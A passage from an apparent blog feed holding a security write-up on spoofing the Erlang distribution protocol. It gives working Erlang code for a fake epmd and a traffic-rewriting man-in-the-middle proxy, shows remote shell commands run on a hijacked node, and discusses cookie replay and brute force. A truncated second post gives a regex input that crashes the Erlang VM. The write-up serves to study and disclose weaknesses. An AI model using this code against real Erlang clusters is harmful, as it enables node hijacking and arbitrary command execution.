Use a dedicated user, there's no reason to run as root.&lt;br /&gt;&lt;h2&gt;epmd Authentication&lt;/h2&gt;epmd only requires a few operations: registering a node name and port, retrieving a port based on node name, retrieving all names and ports known to the epmd process (as well as some debug info, if requested), and shutting down epmd.&lt;br /&gt;&lt;br /&gt;Though logically these operations are distinct for remote and local access (a remote node, for example, would never register a node/port value, since ports are local to the node and do not include the IP address; in fact, the epmd command line flags such as "-names" will only connect to localhost), no distinction is made between local and remote access to epmd. Authentication is not required to query epmd.&lt;br /&gt;&lt;br /&gt;Any device that is allowed to open a TCP connection to the epmd port can:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;issue a kill command and shut down the epmd process: any new attempts at joining in Erlang distribution with nodes residing on this server will fail&lt;br /&gt;&lt;/li&gt;&lt;li&gt;set any key/value pair&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;epmd allows storing of arbitrary bytes. "epmd -names" simply echoes these bytes. The output displayed by running "epmd -names" is the actual formatted message returned by the epmd server.  So epmd could be used to store data, as long as the TCP connection is maintained. Some scenarios: &lt;br /&gt;&lt;ul&gt;&lt;li&gt;bypass network segmentation: if 2 hosts can talk to the host running epmd but not each other&lt;br /&gt;&lt;/li&gt;&lt;li&gt;establish a covert channel&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Covert channels could be used for: &lt;br /&gt;&lt;ul&gt;&lt;li&gt;interprocess communication, like a command queue for bots&lt;br /&gt;&lt;/li&gt;&lt;li&gt;tunnelling data: TCP over epmd over TCP!&lt;br /&gt;&lt;/li&gt;&lt;li&gt;storage of data: the basis of a FUSE filesystem&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;A naive implementation might be to store an ID as the node name (the key), with the data stored in the 2 byte value allocated for the port.  Even when using a secure transport layer (&lt;a href="http://www.trapexit.org/Distributed_erlang_using_ssl_through_firewalls"&gt;ssl&lt;/a&gt;, &lt;a href="http://github.com/jj1bdx/sshrpc"&gt;ssh&lt;/a&gt;) for the Erlang distribution protocol, nodes will still need a way of finding each other.  epmd is too risky to place on a public network. &lt;br /&gt;&lt;h1&gt;Abusing Cookies&lt;/h1&gt;The cookie mechanism only proves that, for the given TCP connection, there is knowledge of the secret. Though the node names are included in the challenge message, they are not included in the digest.  Similarly, neither IP addresses or timestamps are included in the digest. The Erlang cookie authentication also does not validate the data sent after the handshake is completed, so there is no integrity checking built into the distribution protocol. &lt;br /&gt;&lt;h2&gt;Replaying the Challenge&lt;/h2&gt;Erlang cookies are generated by concatenating a 4 byte challenge with a secret and digesting the result using MD5. The Erlang kernel documentation for this process notes the 32-bit integer used as the challenge must be very random, but really it needs only to be well distributed.  The response to the challenge proves the node knows the secret. At least in theory, the only practical way to derive the secret from the digest is using brute force.  But knowing the response to the challenge is equivalent to knowing the secret, if the challenge is ever repeated. The strength of the cookie mechanism lies in the time before a challenge is repeated. &lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;cookie:start&lt;/span&gt;()&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;{&lt;span class="Constant"&gt;11487&lt;/span&gt;,&lt;br /&gt; {found,{&lt;span class="Constant"&gt;3534940387&lt;/span&gt;,&lt;span class="Constant"&gt;971&lt;/span&gt;},&lt;br /&gt;        [&lt;span class="Constant"&gt;88321801&lt;/span&gt;,&lt;span class="Constant"&gt;88780553&lt;/span&gt;,&lt;span class="Constant"&gt;92321534&lt;/span&gt;,&lt;span class="Constant"&gt;93695753&lt;/span&gt;,&lt;span class="Constant"&gt;94154505&lt;/span&gt;,&lt;span class="Constant"&gt;94809865&lt;/span&gt;,&lt;br /&gt;         &lt;span class="Constant"&gt;95268617&lt;/span&gt;,&lt;span class="Constant"&gt;96843513&lt;/span&gt;,&lt;span class="Constant"&gt;97367801&lt;/span&gt;,&lt;span class="Constant"&gt;97957625&lt;/span&gt;,&lt;span class="Constant"&gt;98481913&lt;/span&gt;,&lt;span class="Constant"&gt;99071742&lt;/span&gt;,&lt;br /&gt;         &lt;span class="Constant"&gt;99596030&lt;/span&gt;,&lt;span class="Constant"&gt;100120318&lt;/span&gt;,&lt;span class="Constant"&gt;100644606&lt;/span&gt;,&lt;span class="Constant"&gt;172271960&lt;/span&gt;,&lt;span class="Constant"&gt;172796248&lt;/span&gt;,&lt;span class="Constant"&gt;173320536&lt;/span&gt;,&lt;br /&gt;         &lt;span class="Constant"&gt;174041432&lt;/span&gt;,&lt;span class="Constant"&gt;176726281&lt;/span&gt;,&lt;span class="Constant"&gt;177250569&lt;/span&gt;,&lt;span class="Constant"&gt;177774857&lt;/span&gt;,&lt;span class="Constant"&gt;178561289&lt;/span&gt;,&lt;br /&gt;         &lt;span class="Constant"&gt;179085577&lt;/span&gt;|&lt;span class="Special"&gt;...&lt;/span&gt;]}}&lt;br /&gt;&lt;/pre&gt;In the above test, an attacker would have had to snoop 971 handshakes before there is a repeated challenge. There are 2 challenges for each authentication.  Only one successful connection is needed since the attacker can run &lt;i&gt;erlang:get_cookie()&lt;/i&gt; once authenticated.  However, being able to replay a challenge requires being able to somehow snoop connections.  And for most systems, authentication is a rare event, since TCP connections for internode communication are persistent.  &lt;br /&gt;&lt;h2&gt;Brute Force&lt;/h2&gt;Since all nodes share the same cookie, and given that cookies likely change very rarely, its possible for the attacker to open connections to each node and brute force in parallel. Since MD5 is quite fast, and there is no provision in the protocol to slow down the digesting process, many attacks can be run.  &lt;br /&gt;&lt;h1&gt;MITM&lt;/h1&gt;For many environments, the threat of replay and brute force might not be that bad.  While they are feasible, if you do any sort of monitoring, you'll very likely notice an attack in progress.  The lack of any sort of integrity protection is a real issue; one that Erlang developers have addressed, to an extent, with the &lt;a href="http://www.erlang.org/doc/apps/ssl/ssl_distribution.html"&gt;SSL transport mechanism&lt;/a&gt;. &lt;br /&gt;&lt;h2&gt;Proxying from a Local Node&lt;/h2&gt;Since anyone can stop epmd, an attacker on the same server can bring up their own port mapper service. When epmd is killed, the attached Erlang nodes will not attempt to reconnect. An attacker can listen on any available port, open a connection to the distribution port of the Erlang node that is being targeted and advertise the port of the spoofing proxy to any distribution requests.  &lt;a href="http://github.com/msantos/spoofed"&gt;spoofed&lt;/a&gt; contains some code to demonstrate this sort of attack.  First, we retrieve the ports known to epmd by sending a name request (the letter "n", with a 2 byte length header): &lt;br /&gt;&lt;pre class="Code"&gt;names(IP, Port) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    Packet &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;list_to_binary&lt;/span&gt;([&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;110&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;]),&lt;br /&gt;    {ok, Socket} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;gen_tcp:connect&lt;/span&gt;(IP, Port, [&lt;br /&gt;            {packet,&lt;span class="Constant"&gt;2&lt;/span&gt;},&lt;br /&gt;            {active, &lt;span class="Statement"&gt;true&lt;/span&gt;},&lt;br /&gt;            &lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;br /&gt;        ]),&lt;br /&gt;    ok &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;gen_tcp:send&lt;/span&gt;(Socket, Packet),&lt;br /&gt;    wait(Socket)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Next, we set up a fake epmd to answer port map requests. The fake empd binds the well-known epmd port and spawns a process to handle each TCP connection. For most message types, the client expects epmd to close the connection after responding. The exception is node registration: breaking the connection will deregister the node. &lt;br /&gt;&lt;pre class="Code"&gt;loop(Socket, Port) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;receive&lt;/span&gt;&lt;br /&gt;        {tcp, Socket, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;110&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Identifier"&gt;inet:setopts&lt;/span&gt;(Socket, [{packet, &lt;span class="Constant"&gt;0&lt;/span&gt;}]),&lt;br /&gt;            Response &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;list_to_binary&lt;/span&gt;([&lt;br /&gt;                    &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;4396:32&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;,&lt;br /&gt;                    &lt;span class="Identifier"&gt;lists:flatten&lt;/span&gt;(&lt;span class="Identifier"&gt;io_lib:format&lt;/span&gt;(&lt;span class="Constant"&gt;"I can haz &lt;/span&gt;&lt;span class="Special"&gt;~s&lt;/span&gt;&lt;span class="Constant"&gt; at port &lt;/span&gt;&lt;span class="Special"&gt;~p~n&lt;/span&gt;&lt;span class="Constant"&gt;"&lt;/span&gt;, [&lt;span class="Constant"&gt;"fake"&lt;/span&gt;, Port]))&lt;br /&gt;                ]),&lt;br /&gt;            &lt;span class="Identifier"&gt;error_logger:info_report&lt;/span&gt;([{epmd, names_request}, {response, Response}]),&lt;br /&gt;            ok &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;gen_tcp:send&lt;/span&gt;(Socket, Response);&lt;br /&gt;        {tcp, Socket, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;122&lt;/span&gt;, Node&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Identifier"&gt;inet:setopts&lt;/span&gt;(Socket, [{packet, &lt;span class="Constant"&gt;0&lt;/span&gt;}]),&lt;br /&gt;            Response &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Constant"&gt;119&lt;/span&gt;,                    &lt;span class="Comment"&gt;% PORT_PLEASE2_REQ response&lt;/span&gt;&lt;br /&gt;            &lt;span class="Constant"&gt;0&lt;/span&gt;,                      &lt;span class="Comment"&gt;% Result: no error&lt;/span&gt;&lt;br /&gt;            &lt;span class="Identifier"&gt;Port:16&lt;/span&gt;,                &lt;span class="Comment"&gt;% PortNo&lt;/span&gt;&lt;br /&gt;            &lt;span class="Constant"&gt;77&lt;/span&gt;,                     &lt;span class="Comment"&gt;% NodeType: normal Erlang node&lt;/span&gt;&lt;br /&gt;            &lt;span class="Constant"&gt;0&lt;/span&gt;,                      &lt;span class="Comment"&gt;% Protocol: TCP&lt;/span&gt;&lt;br /&gt;            &lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;5&lt;/span&gt;,                    &lt;span class="Comment"&gt;% Highest Version&lt;/span&gt;&lt;br /&gt;            &lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;5&lt;/span&gt;,                    &lt;span class="Comment"&gt;% Lowest Version&lt;/span&gt;&lt;br /&gt;            (byte_size(Node))&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Constant"&gt;16&lt;/span&gt;,   &lt;span class="Comment"&gt;% NLen&lt;/span&gt;&lt;br /&gt;            Node&lt;span class="Statement"&gt;/&lt;/span&gt;bytes,             &lt;span class="Comment"&gt;% NodeName&lt;/span&gt;&lt;br /&gt;            &lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;                     &lt;span class="Comment"&gt;% ELen&lt;/span&gt;&lt;br /&gt;            &lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;,&lt;br /&gt;            &lt;span class="Identifier"&gt;error_logger:info_report&lt;/span&gt;([{epmd, Node}, {response, Response}]),&lt;br /&gt;            ok &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;gen_tcp:send&lt;/span&gt;(Socket, Response);&lt;br /&gt;        {tcp_closed, Socket} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Identifier"&gt;error_logger:info_report&lt;/span&gt;([{epmd, tcp_close}]);&lt;br /&gt;        {tcp_error, Socket} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Identifier"&gt;error_logger:info_report&lt;/span&gt;([{epmd, tcp_error}])&lt;br /&gt;    &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Finally, we set up the proxy to listen on the fake Erlang distribution port. The proxy just proxies any data, including the challenge handshake. Since the origin and destination nodes presumably share a common cookie, the authentication will succeed. Assuming 59000 is the distribution port of the Erlang node and port 59001 is unbound, we could run a proxy as follows: &lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Identifier"&gt;spoof:kill&lt;/span&gt;()&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;spoof:epmd&lt;/span&gt;(&lt;span class="Constant"&gt;59001&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt; &lt;span class="Comment"&gt;% where the argument is where our proxy port will be listening&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;spoof:proxy&lt;/span&gt;(&lt;span class="Constant"&gt;59000&lt;/span&gt;, &lt;span class="Constant"&gt;590001&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt; &lt;span class="Comment"&gt;% Erlang distribution port, fake Erlang node proxy port.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;At this point we can snoop the data being sent between nodes. Of course, we still do not know the cookie, only a derived secret (probably 2 of them), but the TCP connection from our proxy is fully authenticated. We could drop the connection to the originating node at this point and send our own messages as a fully connected distributed node: &lt;br /&gt;&lt;pre class="Code"&gt;(&lt;span class="Identifier"&gt;n@ack&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;lan)&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;erlang:get_cookie&lt;/span&gt;()&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;mysecretcookie&lt;br /&gt;&lt;/pre&gt;However, we can also modify the connection in interesting ways: &lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt;F &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;fun&lt;/span&gt;(&lt;span class="Special"&gt;in&lt;/span&gt;,X)  &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;re:replace&lt;/span&gt;(X, &lt;span class="Constant"&gt;"foo"&lt;/span&gt;, &lt;span class="Constant"&gt;"bar"&lt;/span&gt;, [{return, &lt;span class="Identifier"&gt;binary&lt;/span&gt;}]);&lt;br /&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt;       (&lt;span class="Special"&gt;out&lt;/span&gt;,X) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; X &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Constant"&gt;2&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt;&lt;span class="Identifier"&gt;spoof:proxy&lt;/span&gt;(&lt;span class="Constant"&gt;59000&lt;/span&gt;, &lt;span class="Constant"&gt;590001&lt;/span&gt;, F)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Constant"&gt;3&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt;foo &lt;span class="Statement"&gt;==&lt;/span&gt; bar&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;true&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Constant"&gt;4&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt;Afoo &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;123&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;123&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;5&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt;Afoo&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;123&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;6&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt;Abar&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;123&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Constant"&gt;7&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt;&lt;span class="Identifier"&gt;rpc:call&lt;/span&gt;(&lt;span class="Type"&gt;'n@ack.lan'&lt;/span&gt;, os, cmd, [&lt;span class="Constant"&gt;"echo foofoo"&lt;/span&gt;])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;"barfoo&lt;/span&gt;&lt;span class="Special"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;rpc:call&lt;/span&gt;(&lt;span class="Type"&gt;'n@ack.lan'&lt;/span&gt;, os, cmd, [&lt;span class="Constant"&gt;"touch /tmp/ohaifoothere"&lt;/span&gt;])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;[]&lt;br /&gt;&lt;br /&gt;&lt;span class="Constant"&gt;9&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;rpc:call&lt;/span&gt;(&lt;span class="Type"&gt;'n@ack.lan'&lt;/span&gt;, os, cmd, [&lt;span class="Constant"&gt;"ls /tmp/ohaifoothere"&lt;/span&gt;])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;"/tmp/ohaibarthere"&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;h2&gt;Proxying from a Remote Node&lt;/h2&gt;Assuming an attacker can convince an Erlang node to connect to a host under their control (using DNS poisoning, ARP spoofing, social engineering, ...), the attacker can proxy the connection anywhere.  There's a problem with proxying a connection from a host to a node that is not local, though. The challenge messages contain the full name of the node that is sending the message, including the domain name.  Assume there are 3 nodes: &lt;i&gt;nul.lan&lt;/i&gt; (the originating node), &lt;i&gt;ecn.lan&lt;/i&gt; (the destination node) and &lt;i&gt;ack.lan&lt;/i&gt; (the attacker). If an Erlang node on &lt;i&gt;nul.lan&lt;/i&gt; accidentally connects to &lt;i&gt;ack.lan&lt;/i&gt; intending to reach &lt;i&gt;ecn.lan&lt;/i&gt; (or any other node sharing the same cookie), &lt;i&gt;ack.lan&lt;/i&gt; can forward the connection to &lt;i&gt;ecn.lan&lt;/i&gt;. &lt;i&gt;nul.lan&lt;/i&gt; may not even have intended to connect to &lt;i&gt;ecn.lan&lt;/i&gt;.  &lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Identifier"&gt;spoof:kill&lt;/span&gt;()&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;spoof:epmd&lt;/span&gt;(&lt;span class="Constant"&gt;59001&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;spoof:proxy&lt;/span&gt;({{&lt;span class="Constant"&gt;10&lt;/span&gt;,&lt;span class="Constant"&gt;10&lt;/span&gt;,&lt;span class="Constant"&gt;10&lt;/span&gt;,&lt;span class="Constant"&gt;10&lt;/span&gt;},&lt;span class="Constant"&gt;59000&lt;/span&gt;}, &lt;span class="Constant"&gt;590001&lt;/span&gt;, F)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Since the source/destination node names will not match, we will need to re-write them for this to work, but since there are no integrity checks, the process works transparently:  &lt;br /&gt;&lt;pre class="Code"&gt;F &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;fun&lt;/span&gt;(&lt;span class="Special"&gt;in&lt;/span&gt;,X)  &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;re:replace&lt;/span&gt;(X, &lt;span class="Constant"&gt;"@ack.lan"&lt;/span&gt;, &lt;span class="Constant"&gt;"@ecn.lan"&lt;/span&gt;, [{return, &lt;span class="Identifier"&gt;binary&lt;/span&gt;}]);&lt;br /&gt;       (&lt;span class="Special"&gt;out&lt;/span&gt;,X) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;re:replace&lt;/span&gt;(X, &lt;span class="Constant"&gt;"@ecn.lan"&lt;/span&gt;, &lt;span class="Constant"&gt;"@ack.lan"&lt;/span&gt;, [{return, &lt;span class="Identifier"&gt;binary&lt;/span&gt;}]) &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;h2&gt;Forcing a Node to Connect to Itself&lt;/h2&gt;Even on a network where the attacker does not know which nodes share the same cookie, an Erlang node can always be forced to connect to itself.  Since the Erlang node will use its cookie for both sides of the authentication, it will, of course, succeed. The attacker will only need to rewrite the node names.  e.g., if &lt;i&gt;ecn.lan&lt;/i&gt; thinks it's talking to &lt;i&gt;ack.lan&lt;/i&gt;:  &lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; F &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;fun&lt;/span&gt;(&lt;span class="Special"&gt;in&lt;/span&gt;,X)  &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;re:replace&lt;/span&gt;(X, &lt;span class="Constant"&gt;"@ecn.lan"&lt;/span&gt;, &lt;span class="Constant"&gt;"@ack.lan"&lt;/span&gt;, [{return, &lt;span class="Identifier"&gt;binary&lt;/span&gt;}]);&lt;br /&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt;     (&lt;span class="Special"&gt;out&lt;/span&gt;,X) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;re:replace&lt;/span&gt;(X, &lt;span class="Constant"&gt;"@ack.lan"&lt;/span&gt;, &lt;span class="Constant"&gt;"@ecn.lan"&lt;/span&gt;, [{return, &lt;span class="Identifier"&gt;binary&lt;/span&gt;}]) &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;2&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;spoof:proxy&lt;/span&gt;({IP, Port}, ProxyPort, F)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;erl &lt;span class="Statement"&gt;-&lt;/span&gt;&lt;span class="Special"&gt;name&lt;/span&gt; &lt;span class="Identifier"&gt;r@nul&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;lan &lt;span class="Statement"&gt;-&lt;/span&gt;remsh &lt;span class="Identifier"&gt;n@ack&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;lan&lt;br /&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;os:cmd&lt;/span&gt;(&lt;span class="Constant"&gt;"hostname"&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;"ecn.lan&lt;/span&gt;&lt;span class="Special"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;This would work, for example, against a user connecting from a laptop to a node using &lt;em&gt;erl -remsh&lt;/em&gt; or doing a &lt;em&gt;etop:start([{node, 'node@example.com'}])&lt;/em&gt;. (It's worth mentioning as well, since I've never seen it discussed, that if you connect in to a distributed Erlang node, everybody who's authenticated to connect to that node has complete access to your workstation as your uid.)&lt;br /&gt;&lt;h1&gt;"Legitimate" Uses&lt;/h1&gt;&lt;a href="http://github.com/msantos/spoofed"&gt;spoofed&lt;/a&gt; could be used as an example for creating an epmd that provides some protection against remote nodes abusing it and for creating Erlang distribution proxies. An Erlang distribution proxy could potentially have these advantages: &lt;br /&gt;&lt;ul&gt;&lt;li&gt;listens only to a single port&lt;br /&gt;&lt;/li&gt;&lt;li&gt; authentication mechanisms (GSS-API, SSL, etc)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;could allow creating sandboxes by parsing the distribution messages&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-5860492000238964625?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/5860492000238964625/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/03/spoofing-erlang-distribution-protocol.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5860492000238964625'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5860492000238964625'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/03/spoofing-erlang-distribution-protocol.html' title='Spoofing the Erlang Distribution Protocol'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-4266842448759590921</id><published>2010-03-09T16:01:00.000-05:00</published><updated>2010-03-22T20:47:28.417-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='debug'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>When the Bugs Have Bugs</title><content type='html'>A few months ago, I found &lt;a href="http://www.erlang.org/cgi-bin/ezmlm-cgi/2/1289"&gt;this&lt;/a&gt;. Compiling a regular expression would crash beam.&lt;br /&gt;&lt;pre class="Code"&gt;N &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;819&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;re:compile&lt;/span&gt;([&lt;span class="Identifier"&gt;lists:duplicate&lt;/span&gt;(N, $(), &lt;span class="Identifier"&gt;lists:duplicate&lt;/span&gt;(N, $))])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;After going through a bit of effort, I figured out how to compile a debug version of beam. And then, of course, I discovered the clever minds behind Erlang have already thought about this and made it easy. Essentially, after compiling Erlang:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Comment"&gt;# Recommended if you are a vi user&lt;/span&gt;&lt;br /&gt;&lt;span class="Comment"&gt;# Yes, the debugger forces you to use emacs&lt;/span&gt;&lt;br /&gt;cat &lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt; ~/.emacs&lt;br /&gt;&lt;span class="PreProc"&gt;(&lt;/span&gt;&lt;span class="Special"&gt;setq viper-mode t&lt;/span&gt;&lt;span class="PreProc"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;(&lt;/span&gt;&lt;span class="Special"&gt;require &lt;/span&gt;&lt;span class="Statement"&gt;'&lt;/span&gt;&lt;span class="Constant"&gt;viper)&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;^D&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Constant"&gt;export ERL_TOP=$(pwd)&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;cd erts/emulator&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;make debug FLAVOR=plain # or smp&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;cd ~-&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;bin/cerl -debug -gdb # 